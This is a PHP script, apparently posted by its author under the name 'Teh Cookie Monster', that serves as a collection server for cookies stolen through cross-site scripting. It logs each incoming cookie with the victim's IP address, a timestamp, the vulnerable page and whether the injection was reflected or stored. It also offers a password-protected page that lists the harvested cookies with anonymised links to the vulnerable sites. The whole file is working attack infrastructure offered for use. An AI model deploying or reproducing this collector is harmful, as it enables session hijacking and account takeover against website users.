Teh Cookie Monster

cookie-monster.php

<?php
/* Teh Cookie Monster!
| @mradamdavies
| www.abeontech.com
==-------------------------*/
define('LOG_FILE', $_SERVER['DOCUMENT_ROOT'].
    '/res/code/cookie-jar.txt'); // Log file location
define('LOGIN_PSWD', '123-derpy_skid-321'); // Password to view cookies
define('BAD_BOY', '<h1>Bugger Off!</h1>'); // Bad boy message

class Cookie_Logger { // Create a basic class
    public $mode = ''; // Login = 1
    public $pswd = ''; // Password

    public $tehcookie = ''; // Cookie we want!
    public $dated = ''; // Date & time logged
    public $ip = ''; // Target's IP
    public $referer = ''; // Referral information
    public $type = ''; // Reflected? 1|0

    /* Let's start */
    function __construct() {

        function sec($input) { // Basic input validation.
            $input = strip_tags($input);
            $input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            $input = trim($input);
            return $input;
        }

        // Update our variables
        $this->mode = (isset($_GET['mode'])) ? (int) $_GET['mode'] : "";
        $this->pswd = (isset($_GET['pswd'])) ? sec($_GET['pswd']) : "";
        $this->dated = date("dS F").
        ' ('.date("H:i a").
        ')';
        $this->ip = sec(getenv('REMOTE_ADDR'));
        $this->tehcookie = (isset($_GET['c'])) ? sec($_GET['c']) : NULL;
        $this->type = (isset($_GET['reflect'])) ? (int) $_GET['reflect'] : "empty";
        $this->referer = sec(getenv('HTTP_REFERER'));
        if ($this->type == 0) {
            $this->vuln_page = $this->referer;
        } else {
            $this-> vuln_page = parse_url($this->referer, PHP_URL_SCHEME).
            '://'.parse_url($this->referer, PHP_URL_HOST).parse_url($this->referer, PHP_URL_PATH);
        }

    } // Construction complete. Time for furniture...

    function store_info() { // Log all relevant information
        $fp = fopen(LOG_FILE, 'a') or die("Error opening file");
        fwrite($fp, "$this->dated,"); // date
        fwrite($fp, "$this->ip,"); // ip
        fwrite($fp, "$this->tehcookie,"); // cookie
        fwrite($fp, "$this->type,"); // reflected 1|0
        fwrite($fp, "$this->vuln_page"); // vulnerable page
        fwrite($fp, "\r\n");
        fclose($fp) or die("Error closing file");

    }

    public
    function __destruct() { // Unset variables
        unset($this->redirect_url);
        unset($this->mode);
        unset($this->pswd);
        unset($this->tehcookie);
        unset($this->type);
        unset($this->dated);
        unset($this->ip);
        unset($this->referer);
        unset($this->vuln_page);
    }

} // Class dismissed. Logs chopped and stacked.
/* Instantiate the class */
$c_log = new Cookie_Logger();

if ($c_log->mode == 1) { // Display Cookie Viewer?
    if ($c_log->pswd == LOGIN_PSWD) { // Password correct?

        /* Show logged cookies */
        echo '<h1>Teh Cookie Monster!</h1>';
        $fp = fopen(LOG_FILE, 'r') or die("Error opening file");
        echo "<table style='padding:6px;border:thin dashed #fd5200'>";
        echo '<tr style="text-align:center;font-weight:bold">';
        echo "<td>Date</td> <td> IP </td> <td> Cookie </td> <td> Type <abbr title = 'Reflected = 1 | Stored = 0'> [ ? ] </abbr></td>
            <td> Vulnerable page </td> <td> Visit </td>";
        echo "</tr>";

        while ($csv_entry = fgetcsv($fp, 1024)) { // Loop CSV data
            echo '<tr onMouseOver="this.bgColor=\'#CCC\'" onMouseOut="this.bgColor=\'#FFF\'" bgColor=#FFF>';
            for ($i = 0, $j = count($csv_entry); $i < $j; ++$i) {
                echo '<td style="border-top:thin solid #ccc; padding:0 10px">'.$csv_entry[$i].
                '</td>';
                if ($i == 4) { // View page link
                    echo '<td style="border-top:thin solid #ccc; padding:0 10px"><a target="_blank" href="http://anonym.to/?'.$csv_entry[$i].
                    '" style="text-decoration:none">« View Page</a></td>';
                }
            }
            echo "</tr>";
        }
        if (!isset($i)) {
            exit('<tr><td colspan="6" style="text-align:center;">No Cookies... Feed me!</td></tr>');
        }
        echo '</table>';
        fclose($fp) or die("Error closing file");
    } else { // Password incorrect
        exit(BAD_BOY);
    }
} else if ($c_log->mode != 1 && !isset($c_log->tehcookie)) { // Invalid mode or empty cookies
    exit(BAD_BOY);
} else { // Eat all teh cookies!
    $c_log->store_info();
    exit();
} ?>